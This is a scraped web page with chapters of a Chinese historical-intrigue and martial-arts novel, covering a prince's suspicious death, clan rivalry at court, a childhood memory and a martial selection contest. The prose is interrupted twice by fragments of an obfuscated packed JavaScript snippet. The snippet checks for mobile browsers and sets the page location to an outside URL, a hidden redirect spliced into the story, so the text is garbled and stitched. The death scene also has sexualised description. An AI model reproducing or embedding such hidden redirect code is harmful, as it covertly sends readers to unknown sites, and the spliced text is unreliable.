桓清与在紧闭的门前呆了片刻,最终走回炉火旁,烤了烤火,待身上的寒气褪去,才解开狐裘卧倒在榻上。耳边尽是自己的心跳声。 萧迦叶来到隔壁名为“天河”的房门前,用一柄短剑将门栓撬开,走到床前就着微弱的烛火看了看熟睡的桓俭,为之诊脉,然后从侧边窗户跳窗而出,消失在雨夜。 百花殿殿门洞开,殿内粉色帷幔随风舞动。 东海王衣冠整肃坐在床榻边,手中抚着容铉送过来的寿礼——一名美貌绝伦的西域女子。他的目光落在刚刚摘下雨笠走入殿内的萧迦叶身上,自宴席上收到那份寿礼,萧章已候他多时了。 10. 山雨欲来风满楼(下) 次日天光初晓,王府管家过来敲门,说几位大人们有要事请桓俭、萧迦叶前往百花池相商。 萧迦叶自榻上翻身而起,随手披上一件外袍就往门外走去。 “何事?” 管家惶恐至极,却欲言又止,只道:“容大人和许大人都已前往百花池,命小的立即将萧将军您和桓将军请过去。出.....出大事了!” 隔壁桓俭也穿戴整齐出了“雪后”的房门,两人对视一眼,即刻与管家一同动身往百花池方向走去。桓俭一边低声交代贴身侍卫扶风去知会桓清与。 两人到达百花池主殿时,容铉、许遵、山洵、光禄大夫崔令等人都站在殿门前。 “两位贤侄终于到了。”许遵环视在场之人,说道:“今晨王府管家传来噩耗,说东海王暴病而亡,事发之后立即报与离事发地最近的我和大司徒。此案事关重大,刚好几位朝中大臣都在逸园之中,为保公正,我等一同进入案发现场,将此事来龙去脉了解清楚,回京后对陛下、对王府家眷都好有个交代。” 在场几人面上皆有惊色。 山洵率先道:“还是司空、司徒考虑周全,我立即派有司从旁笔录。” 容铉点点头,道:“进去吧。” 殿门一开,一条鲜红血线从大殿上首的玉榻,一路绕过梁柱,途径殿中央偌大的温泉池,流到大门口,渗入门槛底下的木头缝里,引来虫蚁攒动不休。 殿内粉色帷幔随着大门洞开而飘拂舞动,容铉、许遵一行人穿过重重帷幔来到殿前。 榻上堆满扯坏的帷幔、大红的床单和鲜艳的绫罗绸缎,艳丽的布匹间露出一大块雪白的肌肤,曲线婀娜娇媚,冰肌玉骨之上还有数点血红,似落梅染雪,美得惊心动魄。散乱的青丝交缠上东海王僵死的赤裸身躯,妖冶而鬼魅。 容铉和许遵几人被床榻上的□□与华美撩动了心思,殿内一时之间,鸦雀无声。 萧迦叶盯着东海王的尸体,说道:“王爷四肢肌肉紧绷,青筋暴起呈紫红色,口中喷涌大量鲜血,这是暴病的症状。”他转头问管家,“你发现王爷时,也是像现在这样闭目,趴倒于床头?” “回禀将军,老奴......”管家脸上一片凄然,红了眼眶说道:“老奴服侍我们王爷十余载,实在不愿见到王爷死不瞑目的样子。今晨进殿来,发现王爷倒在床上,就立即探了王爷的鼻息,见实在回天乏术,才动手合上了王爷的双目。” 说完,管家那浑浊的双目瞟向了许遵和容铉,见两人沉思不语,又连忙跪倒在地上,磕了几个头,“望几位大人明鉴,老奴并非有意毁坏事发现场。我进来时,门没有合上,门外的侍卫都看见了,除了这个老奴什么都没做过。” 许遵摆了摆手,示意管家住嘴。 此时,召来的医官刚刚赶到,先给几位中枢大臣、将军行了礼,当场仔仔细细检查了一遍东海王的遗体,才起身回禀道:“依下官行医多年的经验来看,王爷是因血流逆行,大量吐血而亡,加之面色赤金,青筋紫红暴起,恐怕是五石散服食过量且纵欲过度而导致的暴病。” “罪过,罪过。”山洵听闻死因后,摇了摇头,快步离开此地。 许遵面露惋惜之色,叹道:“若如医官所言,此实乃汉室之不幸。但为保全皇家颜面,还望诸位对外保密,待禀明陛下再做打算。” 容铉皱着眉点头道:“许大人言之有理。” 崔令和萧迦叶、桓俭几人亦点头不语。 “只是这床榻上的女子,该作如何处置?”许遵目光流连于榻上,转头问向其他几人。 “哼!这种狐媚惑世的妖女,不如就地处决。”崔令拂袖转身,不愿再多看一眼。 容铉未理会崔令的气话,唤那女子下榻来回话。 她原本将脸埋在被褥中,偷偷抬起半张脸,瞄了一眼殿上几人,见容铉并没有剑拔弩张的样子,才随手抓起一块绸缎,堪堪遮住前胸,挪动修长嫩白的双腿,准备下榻。 她从床榻起身的一瞬,胸前旖旎风光,一览无余,床上缠乱的发丝随着她的动作,从四面八方汇聚到她秀美光洁的裸背,垂落在臀尖上。令人血脉贲张的画面,加上她懵懂羞涩如花初开的面容,让留在殿中的男人们几乎乱了阵脚。 许遵的眼神好似黏在她身上一般,眼底的欲望已无任何遮拦。容铉坦然欣赏着这人间尤物,眼带不屑。医官、管家以及在旁笔录的官吏都已神色迷离,一道血流自官吏的鼻孔涌出,他立即扯着袖子擦拭,幸亏没有人注意到。 桓俭转头看向中央的温泉水池,脸上写满了非礼勿视;萧迦叶则视若无睹,观察着殿上每一个人的反应。 “昨夜是你一直在殿内服侍王爷?”容铉开始问话。 “是。”女子缓缓跪下,声线柔媚地答道。在场另外几人不禁猜想起她在其他时候的声音恐怕也是十分美妙。 “王爷可有什么异常?” “没有。”她摇了摇头。 “昨夜王爷从宴席上下来,就一直在这里?” “是。”她点头道。 “从昨夜到今晨,可有人来过此地?” 她微微抬头,狐狸似的眼睛看向了管家。 “除了管家以外,有没有其他人来过?” 她继续摇了摇头。 “那你昨晚,和王爷做过什么?” “咳咳!”许遵突然轻咳了几声。 那女子用水灵灵的眼眸看了许遵一眼,像是不太明白的样子,又看向容铉,玫瑰花一般的唇瓣微微一动,还没出声,容铉又问道:“那王爷有没有吃过什么?” 她抬手指着起床榻边一个金丝楠木制的盒子。医官取过查看,道:“禀各位大人,这正是五石散,还有几味催情的药物。” “情况已经十分明了。”许遵看了看这女子,又向容铉说道,“我看这女子柔若无骨,不像是刺客,不过还是带回金陵交由大理寺审问较为妥当。” 容铉却淡淡摆首道:“不瞒各位,这女子原是本官前几日赠与东海王殿下的寿礼,不料今日酿成大祸。许大人既然也认为案情明朗,不如直接由许大人带回刑部量刑处置?” 如今大魏朝中,众所周知大理寺寺卿曾良由容铉提携,属于容家这一派势力,而刑部尚书李守缊早年则是许遵的幕僚。许遵在士族中出了名的贪色,容铉提议让刑部审理此人,相当于将此女再度转手送给了许遵。 许遵面上有几分犹疑,最后还是应承下来,即令笔录的官吏停笔,一切待回金陵再审。 一行人陆续离开大殿。时间仓促,那女子只取了件丢在屏风上的披帛围在身上,胸前、腿上还有大片肌肤没法遮挡,一出大门,寒风微拂便全 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“呵。”齐浔一声冷笑,“全金陵的人都以为你与我有染,还有比这更恶心的?”他看了看面若冰霜的许蔚,“我是想提醒你提防这个女人,这种货色,不把许家搅得鸡飞狗跳绝不罢休。算我多事!”说完,甩袖而去。 许蔚面上不见一丝波澜,看了一眼他离去的背影,转头就打量起百花殿四周的哨点,了然于胸后才转身离开。 七日后,东海王出殡,整座王府一改往日的繁华绮丽,挂满白绫,庄严肃穆,满院哀凄之声。魏帝萧启亲临王府吊唁,悲痛欲绝,回宫后大病一场。淮阴县主桓清与连夜进宫伴驾,事事亲为,在病床前一连服侍了数日,待魏帝好转,能照常上朝才离宫回府。 金陵城里人人称道桓县主孝心可嘉,不愧对魏帝多年的宠爱。又有人说萧氏宗室衰微,如今唯一的亲王东海王去世,魏帝需要扶持更多亲信,桓氏作为外戚恐怕并不会因为桓安辞官而颓败,这一辈中,桓俭军功卓著,桓清与深得圣心,将来或许大有可为。 另一边,魏帝大病初愈后,上朝宣布的第一件事便是大司徒容铉多年来兢兢业业,功高德劭,进录尚书事、都督中外诸军事。这一任职安排意味着容铉成为中枢领袖,统领尚书省,职权凌驾于侍中兼大司空的许遵之上,是当朝名副其实的权相。 此事一出,立即引起了许遵的不满,他在大殿停留半日之久,最终争取了许氏长子许墉、次子许范晋升之位,才离宫而去。容、许两家在新政时期为对抗桓安而结成的同盟关系,在这之后正式破裂。 那日,许遵还想为其他子女谋求更多官职,以制衡容氏,最终魏帝决定采取举办武选的方式,筛选一批世家大族子弟入朝为官,既应了各大家族的所求,又能为大魏军政输送人才。 武选原本是新政时期桓安的提议,当时遭到容铉和许遵的坚决反对。如今,桓安一派官员要么贬官外放,要么向容许两家投诚,影响不了中枢运作。所谓“武选”,名义上以考评武艺为选拔方式,实则仍会为高门子弟提供便利,加上许氏子女一向注重武学,容氏除了外镇的容家二公子容玦之外少有出众之人,思及此,许遵也十分赞成魏帝这一决策。 二月中旬,朝廷颁布政令,三月初二开始举行武选,五品以上官员的子女皆可参与比试,主考官为卫将军萧迦叶。 11. 苍苍金陵月 桓安辞官前后,桓清与闭门读书,恰好避开了各门阀剑拔弩张、危机四伏的局面。 自东海王去世,她陪同魏帝前往吊唁,又在宫中侍疾,亲眼目睹许家、容家等世家一个个迫至病床前,或声讨桓氏,继续弹劾新政中曾为桓安效力的官员;或贪图东海王家产,揭发东海王几名义子的诸多罪名,举荐自己人取而代之;再或就武选之事,个个都想在上头为自家争得更多好处。 这些人全然不顾魏帝的病情,苦苦相逼。 桓清与多次见魏帝体力不支,赶上前以侍候陛下服药为名,劝走了几波臣子,方安生片刻。 她一连在宫中住了十日,每晚待魏帝就寝后,独身前往宫中后山的道观为魏帝抄经祈福。那几夜,桓清与过得很不平静,每每走出道观,已是更深露重,寒风凛冽,举目眺望夜空,惟见苍苍金陵月,空悬帝王州。 初春的寒气,让她想起十年前的那个冬夜。 泰始七年冬,一日午后,萧漪清去往金陵第一茶楼澜庄见一位故友,半日不见归家。 那日黄昏,家中侍从去澜庄寻人,不见其踪迹。从宫中返家的桓安连朝服都未换,便出门寻找,傍晚,魏帝派中领军全城搜索整夜亦无果。 七岁的桓清与望着桓安匆匆离去的背影,一言不发,默默伫立廊下,等着父母归来。 晚间下起了雪,从最开始的冰粒到深夜的鹅毛大雪。她第一次看见那么黑的夜空,深不见底,浓郁墨色笼罩整个世界,只有檐下几盏灯,照亮了庭中一隅。幽光中极速下坠的雪花,无穷无尽,寒风拂过耳畔传来阵阵哀鸣。 二叔和潋娘,还有乳母仆从们一遍遍催她、请她回房中等候,她都始终不肯。或许冥冥中预感到,自记事以来其乐融融,有父母疼爱的日子,要一去不返了。站在此地,好像一切还停留在爹爹出门的时刻,只想继续在这样的时光里多待一会儿。如果爹娘携手归家,也能第一眼就看到她。 家人们不忍她在风雪中受冻,只能在她身上多裹几件衣裳,把她包得像个粽子一样,将炭炉摆在她身后,为她驱赶冬夜的严寒。 她只是站在原地,岿然不动。 直至深夜,眉染霜雪,四肢早已冻得快失去知觉,方见府门被推开,一个高大身影披风带雪向她走来。“爹爹?”乍喜之后,看见始终只有一个身影,又觉并非父亲,父亲一定会带着母亲一起回来的。 待人走近,才看清——是身为大魏帝王的舅舅。 魏帝蹲下身,拂了拂桓清与头上、肩上的积雪,望着她笑道:“清儿,怎么打扮成小雪人了?”桓清与张了张嘴,已冷得无法应声。魏帝将她整个人和着身上的毯子抱起来,向门外走去,赶来随身服侍的宫人们连忙为之撑伞。 魏帝步伐矫健,从容不迫地抱着她穿过这一夜风雪。 原本魏帝只说桓安在外找到了萧漪清,顺带与故人一叙,恰巧宫中萧美人也想念清与,便将她接至宫中小住一段时日。入宫当夜,桓清与感染风寒,昏昏沉沉在宫中休养了几日,魏帝每日数次探望。待病好后,他又言桓安夫妇两人前往南越边境处理军务,半年后方回。桓清与不信,魏帝便带着她到议事堂翻阅记载南越军情的奏章。 足足在宫中住了半年,次年五月,荷花初绽之时,桓安回来了。 桓清与快步小跑至宫门口,远远看见夕阳下桓安清隽的身姿,在地上铺开长长的影子。桓安蹲下身抱住飞奔而来的女儿,脖颈被两只小手紧紧环住,“爹爹!”桓清与将所有思念都融化在简短的两个字中,转念又轻轻松开一些,抬头问:“娘呢?娘怎么没和爹一起来接我?” “南越局势未平,她留在边关戍守。”桓安语气淡然。 “真的?” “嗯。” 那时候她心想,虽有点说不通,但以爹爹为人,断不会欺骗她。他独自一人回京,大概是朝中有要事,迫不得已。爹和娘最疼她,如果有两全之策,如何又会舍得下她呢? 桓安牵着七岁的女儿,走在深宫长廊中,如往后十年一般,都将和女儿一起,带着对萧漪清的无尽思念走下去。 三月初二的清晨,桓清与一身劲装,长发高高束起,独自一人坐在武场二楼桓家的帐席内,隔着竹帘看那人世熙攘。 “今日怎么出门这样早?”桓俭意态闲闲地掀开门帘,走到桓清与身旁坐下。 “时辰早一点,路上车马没那么拥挤,方不负好春光。” “哈哈哈——”桓俭毫无掩饰地,窃笑良久。 桓清与冷了脸,知道自己的谎话实在拙劣。 桓俭还是收不住笑意,压了压唇角,勉强说道:“听闻许范相思成疾,自逸园回京后一病不起,还扬言此生非桓县主不娶。这一番闹的,整座金陵城的人都想看看桓县主究竟是何花容月貌,能让许范这位高门浪荡子痴心至此。”说完,又忍不住笑了一声。 桓清与长叹一声,无奈道:“说实话,我也觉得挺好笑的。”她微微皱了下眉,看着对面许氏的坐席,“许范不去竹里馆当戏子,真是可惜。” 桓俭信手斟茶,递了一杯给桓清与,“前些日子你住在宫中,我还以为你会晚些知晓此事。” “宫里何曾缺过许家的耳目?自有人忙不迭地递消息。”说着,桓清与想起侍疾时,魏帝就曾问起此事,还说许范家世人品都不错,如果她愿意,可立即赐婚,“这世上多得是貌合神离的怨偶,若得一有心人顾你周全,我和你爹娘都好放心些。” 她知道舅舅是一片好意,又不便在他面前戳破许范的伪装。只托辞对许家门风不甚欣赏,婉拒了此事。 许范此举背后的原由,她也有几分清楚。 “东海王走得突然,膝下只有安宁郡主一人,王府一众财产尽归安宁郡主所有。这门亲事,如果没有这场病,许范断然拒绝不了。”许遵贪财好色,原本安宁郡主就在与许家议亲,他绝不会放弃这大好机会,吞下东海王多年来揽下的巨额家产。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549302|186752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “但哥哥,许家子女众多,都巴不得能成为许遵心目中的下一任掌权人。他为什么要这么做?” “你为什么拒绝许范?”桓俭语气清淡地反问道,而后一笑,“彼之砒霜,汝之蜜糖耳。” 桓清与望着他,眼神迷蒙了一阵,许家子女之间的勾心斗角,是金陵城里人尽皆知的事,但他们每个人都心甘情愿去争抢吗?她知道许蔚不是,许范或许也有自己的苦衷。出身显贵的人们,同样被这样的显贵所束缚。 但桓俭不同,他自小便从心所欲,不逾矩。 “既然哥哥你以为我还不知道这个消息,怎么不提醒我?”桓清与抓到桓俭话里的纰漏,探问道。 “我以为这种小场面,你自可应付。”桓俭低眉说道,似在品茶,语气漫不经心。 桓清与心中微微凛然,脸上还是迷惑,她从小到大,对于桓俭毫无条件的宠爱太过习惯,此刻的他让她有一点陌生。 桓俭突然一笑,两指掐上她的脸颊,语气宠溺地说道:“你现在可长大了,还这么娇气?” 桓清与脸一红,扭头甩掉他的手。“是啊,我都长大了,你还掐我脸?” 桓俭笑而不语。 桓清与嘴上不服气,心里却像被狠狠教训了一遍似的。桓俭的话,让她如梦初醒——桓俭离京一年后归家,思念让她无所顾忌地回到了儿时的自己,享受着哥哥的宠爱,好似可以忘却桓安辞官离家的事,忘记她已长大成人,到了该为家族有所作为的年纪。 她收起了迷途知返的神情,看着楼下陆陆续续入座的人影,轻声道:“许遵向陛下讨要官职时,我就在后殿。关于主考官人选,他力荐许墉。晚间,容氏举荐了山大人的大公子山朗,尚书省也递来了华伦师哥、萧将军和你的名单。” “陛下问了你的意见?”桓俭问得并不自然,好像自己也没想到会将这话说出口一般。 “嗯。我说萧将军武功不错。” 桓俭闻言,认真点了点头道:“此话,颇有见地。” 桓清与笑了笑,知桓俭这是在打趣她。同时也明白,两人想到一起去了。各方举荐的人选,除了许墉,无论家世、军功还是武功身手都堪当主考官一职。而萧迦叶和桓俭不久前才班师回朝,战功卓著,理应是最合适的人选。魏帝不回避桓清与,还询问她的意思,说明他实际上属意的人是桓俭。 但桓俭向来不追逐名利,恐怕不乐意接这多方争夺的烫手山芋,桓清与才随口夸了一句萧迦叶,一任祸水东流。 她看着桓俭这气定神闲的姿态,不像是侥幸逃脱,幸灾乐祸的样子,更像个胜券在握的执棋者。 她想起了什么,心里堆了好多问题想跟桓俭问个明白,又不知如何开口。这次桓俭回家,好像有什么东西变了,他们以前无话不说,无话不谈,现在却像隔了什么。 “别琢磨了。”闭目养神中的桓俭,突然轻声说道,而后睁开双眼定定地注视着她,“比试要开始了。” 12.初识凌云木(上) 历时三年的“正元新政”落幕之后,大魏朝首次举办武选。新政期间,一条条政令被群起攻讦,在重重阻碍下相继覆灭,待改革者萧然败走,当初条条是道的反对者又捡起一些无伤痛痒的举措,装点门面,以彰显他们为国为民。 此刻,新任录尚书事容铉和大司空许遵正在比拼谁能在本次武选中压轴登场。两家声势浩大的仪仗,各在道路两旁摆成黑压压一片。 “吁——”许家车驾前两匹骏马瞪着眼睛,鼻孔喷气,长吁一声,像给主人叫阵一般,马蹄跺着地,扬尘直往容家车驾那边飘去。 容家这边倒是气定神闲。 “郭默——”马车内传来中年男子雍容的嗓音。 “小的在。” “换茶。” “好嘞。”名唤郭默的老仆,衣着讲究,举止得仪,从车内接过妙龄侍女递来的茶水,轻轻转动两下镶玉雕花的茶碗,忽得将茶水往前一泼,口中说道:“这蜀地的毛峰啊,虽金贵,过了三道水也不经用了。” 茶水泼得突然,把许家打前阵的几个家仆都惊了一惊,骤然间低咒声四起,人影躁动,骏马更起劲地嘶鸣。 “哼!”许遵在马车内将几上茶盏、香台一推,吓得垂肩推背的侍妾们一动不敢动。 “容铉这只老狐狸,一朝得道,就翻脸不认人!” 武选开场时间迫近,两家没有一人从车上下来,早已落座的其他世家大多一副看好戏的姿态,喝茶的喝茶,寒暄的寒暄,眼睛总不忘瞟着门口的战况。 “听说前些日子,许家六公子和容家五公子为了缦阁的新任花魁行歌大打出手,许家公子胳膊脱了臼,在家休息了好些天,容家公子被揍得鼻青脸肿,白瞎了一张俊脸。这才消停几天,如今两家的大人又对上了。” 众人听了哈哈一笑,许容两家当权也不是一天两天了,穷奢极欲,仗势欺人,时不时还要闹出不少笑话给坊间做茶余饭后的谈资,当真是忙得恨。 “你们知道什么?桓相辞官,东海王病逝,容许两家的势力如日中天,这是两家要争权,自然做什么都不对付。” 有人连连颔首,又道:“桓相不在了,恐怕这些世家只会更加肆无忌惮。” “哼......”有人冷笑,有人叹息,一阵唏嘘后,众人又续起其他话题,金陵城里总是不缺闲人闲事的。 “哟,几个月前两家关系不是还热乎着吗?说翻脸就翻脸了。”华莲一身花团锦簇地溜进桓家坐席,手中还拿着一碟桃花糕,递到桓清与的桌案上,“尝尝,看有没有连云做的好吃。”又转头一脸笑意地看向桓俭,声音清朗地唤道:“庭檐哥哥。” 桓俭顺手沏了一杯清茶,茶香袅袅,原本靠在案前的华莲稍稍正了正身子,双手接过,“多谢庭檐哥哥。” “共同的敌人没有了,容家和许家早就不耐烦相互恭维了。”桓清与冷眼看着,心中腹诽,却知道这些话是不能宣之于口的。 “这是萧将军回金陵后第一次主持政务,他们这样,怕是要让萧将军难堪。”华莲自顾自地说起来,好似忘了桓家兄妹并不爱在人前议论朝堂。 “子夜很仰慕萧将军?”桓俭笑问。因华莲与清与两人自小要好,他也将华莲做弟弟看待。 “那当然,萧将军武功盖世,号令千军万马,一举平定北疆,大齐、南越国军队无不闻风丧胆。他和庭檐哥哥你,都是我心目中的大英雄!” “所以这种场面,萧将军肯定应付得来咯。”一直沉默的桓清与突然接话,清澈的眼眸中带着绝对的自信。 华莲两指托着下巴,认真想了想,“倒也是。” 果不其然,楼下又开始议论纷纷。“比试就要开始了,萧将军为何一直不见人?” “到底是后生辈,两位朝廷重臣的僵局恐怕也难以应对啊,不得罪这家就得罪那家。” “咚——” 比试台上一面铜锣突然被飞射而来的一箭敲响,余音轻颤,众人在一惊之中霎时安静下来,待回过神来疑惑这箭镞何来?是何人所射?一阵马蹄声急速传至武场。 “吁——”为首的一匹汗血宝马在武场门口停下,马蹄高高扬起,收势之后稳稳停住。一名着黑色武官服的俊逸男子翻身下马,顺手将马鞭交给身后侍卫,随即阔步走向武场,一面吩咐属下,“比试时间到了,开始罢。”属官们立刻传唤候场区的比试人员准备上台。 像是想起了什么似的,他停下脚步,转身面向许容两家的马车问道,“容大人,许大人?”闻声,两架马车的门帘悠悠掀起,两只老狐狸庄重又傲慢的笑容刚爬上嘴角。 萧迦叶快速看过两人,不卑不亢地双手作揖道,“难得二位大人屈尊莅临,恭请观景台上座,萧某招待不周处,还请见谅。”话毕,不等人客套寒暄,便转头交代属官:“请两位大人及家眷就座,不得怠慢。”话音一落,人已径直走到主考官席位,示意主礼官开场。 匆忙间,许遵和容铉不好继续僵持,只得趁主礼官祝词、报名录的时间,步履雍容地领着家眷们移步就座。两家奴仆众多,茶盏、瓜果酒食等随行之物亦大肆铺张,陆续在旁边帐中准备妥当,再一一送至坐席上。 自萧迦叶出现,席间的窃窃私语又热闹起来。 “听闻萧将军的箭法百步穿杨,今日总算见识了,刚刚汗血宝马跑的那样快,隔得那样远,萧将军竟还是一箭击中铜锣正心呢。”一位妙龄女子说道。 “你怎知隔得远?”另一女子问道。 “从锣声响起到将军下马,算时间就知道了啊。” “哦,原来你算术这样好,我还以为你只是看人家风流倜傥便一味地使劲夸呢。”说完,两人都掩着帕子笑闹起来。 从身手、风度、仪表服饰到眼角眉梢,萧迦叶都被座中女子议论了个遍。传闻中的天纵之才,和眼前俊美无俦的少年将军重合,这样的萧迦叶像闺中女子们心爱的衣裳首饰,精致华美,值得反复品鉴琢磨;又似天边一弯弦月,杳然怅望,终不可接。 但怀春的少女大多天真,仍存了一丝希冀,或有一天能等到明月入梦来。 不少私语落进桓清与耳中,令她不解。不解这少女情怀究竟是何物,到底值得一个人倾注多少真心? 比试即将开始,侍女连云将竹帘拉起,席间视野顿时开阔起来。 桓清与看了看比试台,又环顾座中众人,容氏许氏各据两边看台主位,容氏之后是山氏、崔氏、齐氏、钟氏等家族,许氏这边则是萧氏、桓氏、华氏、邱氏等,座次关系和各自在朝中的站位相仿,又不全然一致。其中纠葛非局外人能看清,或许,局中人也不曾勘破。 沉思间,目光不由向正中央的主考官席位望去。从临近的属官席位、帷帐、案台,到那黑色的官服衣角,再往上——猝不及防撞入那人眼眸。 目光交错而过,桓清与却晃了心神。 “来参加这次武选的人,还真是藏龙卧虎。”刚刚去报了个到的华莲又溜进来蹭茶水了。 “不错,此次武选由迦叶主持,不少江湖人慕名而来,不乏成名已久的高手。子夜此番比试的对手可是冉江?”桓俭问道。 “正是,庭檐哥哥记性真好。”华莲点头道,“不知此人实力如何?” “冉江剑法出众,出道三年,在江湖上颇有侠名。” “您都说他剑法出众,实力就不容小觑了。”华莲摇头晃脑地饮下一口茶,又探身问道:“你看我能赢吗?” “能能能——”因第一场比武实力普通,认认真真吃着桃花糕的桓清与中途插话进来。 “你说的不算。我在问庭檐哥哥呢。” “我说的怎么不算,前些日子比试切磋你不是还赢了我吗?你要是连这位冉江都赢不了,本小姐还要不要面子啊?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16551723|186752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哈哈哈哈——”华莲笑做一团,“桓清与你这脸皮厚的,我实在是五体投地,望尘莫及,哈哈哈哈。” 桓清与被笑得尴尬起来,听到华莲老毛病又犯了,本想下猛药鼓励鼓励他,戏太过了就口出狂言。冉江的确与她比试过,前日,人一到金陵城就递了拜帖,想挑战大魏剑榜第一的桓俭。 桓俭按例先差她上阵。冉江出道有几年光景,实战经验丰富,又人高马大,比桓俭还高上半截。桓清与与之对阵,讨不着好,一战相持到八十招才险胜之。 作为世家女,她平日里实战的机会并不多,好在天下武者不论自身武学修为如何,总爱去找排名前列的人过过招,就像登山时先估量一下这山有多高一样。声名在外的桓俭忙不过来,只能多设几道门槛,说若胜过眼前这位小友,可以再找他切磋。这“小友”有时是桓清与,有时是三叔桓宴的独子桓玄雅,华莲串门的时候也会被抓来充数。 如若遇到真正的武林高手上门,一向心如止水的桓俭二话不说就和人约架去了,大概高手也有高手的寂寞。 回过神来,桓清与瞧动物一般瞧着笑得极不端庄的华莲,朝他勾了勾食指。 “干嘛?” “实不相瞒。”她压低嗓音,“这位冉大侠和我交过手,在下不才,二十招内轻松取胜。”桓俭轻轻扫了她一眼,嘴角带笑,不动声色。 “真的?” “你最好别信。”清与横他一眼,又道:“我好歹是大魏剑圣的妹妹,大魏第一武者、当朝大都督华琰的入室弟子好吗?” “说得也是。”华莲低声说道。 “当然啦,还是你的手下败将。” “哈,我俩切磋也就一半一半,说什么手下败将啊,传出去多不好听。” 桓清与看着华莲这善良可怜的小模样,心中真是疼惜。不,应该是同病相怜。 她活在天才哥哥的盛名下,华莲则活在大魏第一武者的父亲的阴影里。华莲无论多么努力,一到比试的时候还是容易心生退怯,人前一副洒脱随性的模样,人后却是个乖小孩儿。桓清与恰恰相反,人前淑女,人后狂狷。 她把最后一块桃花糕挪到华莲眼前,“味道不错,还给你留了一块儿。”喝口茶又道,“赶紧比吧,比完咱们去庆功。” “桓县主要破财?去哪?” “随你挑。” “好!就去缦阁会会那位新花魁。”华莲两眼放光,一脸喜色。 “行,你赶紧去,打完这俩下个就是你了。” “这么快?”华莲探身认真看了眼场上的人,“庭檐哥哥到时赏脸一起喝酒呀,我走了。” “好,旗开得胜。” “马到成功。”桓家兄妹一唱一和送走这尊菩萨。 前几场比试实力悬殊,像特意安排的一样。 博陵崔家二公子三两下就风姿倜傥地踢飞了对手;钟家长孙边比试边耍了好几个漂亮招式,惹得席间女子纷纷叫好;山家小公子山凌竟然试了一招“天女散花”,一剑制敌后,花雨满天,看得人们哄堂大笑,又喝彩不绝...... 山洵哭笑不得,只得和旁人客气道,“这小子,就喜欢胡闹。”又替儿子收到好一顿夸赞,满脸的谦逊中颇有几分自豪。 这一场武选,看似是为朝廷招贤纳士,对世家子弟来说,更是大展身手,挣名声,被品评风流的绝好机会。不少场对试可不就是特意安排的吗?没有平庸的对手,如何衬托这几位公子爷的天资不凡。 尽管由萧迦叶主持,武选的名单、场次均须经过尚书省审核,不得不顾全各世家之间的利益,并非他一人可定夺。但陛下召他回京,授命空悬多年的卫将军,众人不禁猜测,他或将成为改变朝局的一股新势力。 桓清与被山凌的招式逗笑了,把更多心思放到眼前的比试中,心中浓愁似被那惊天一响的锣鼓声击中,渐渐散开。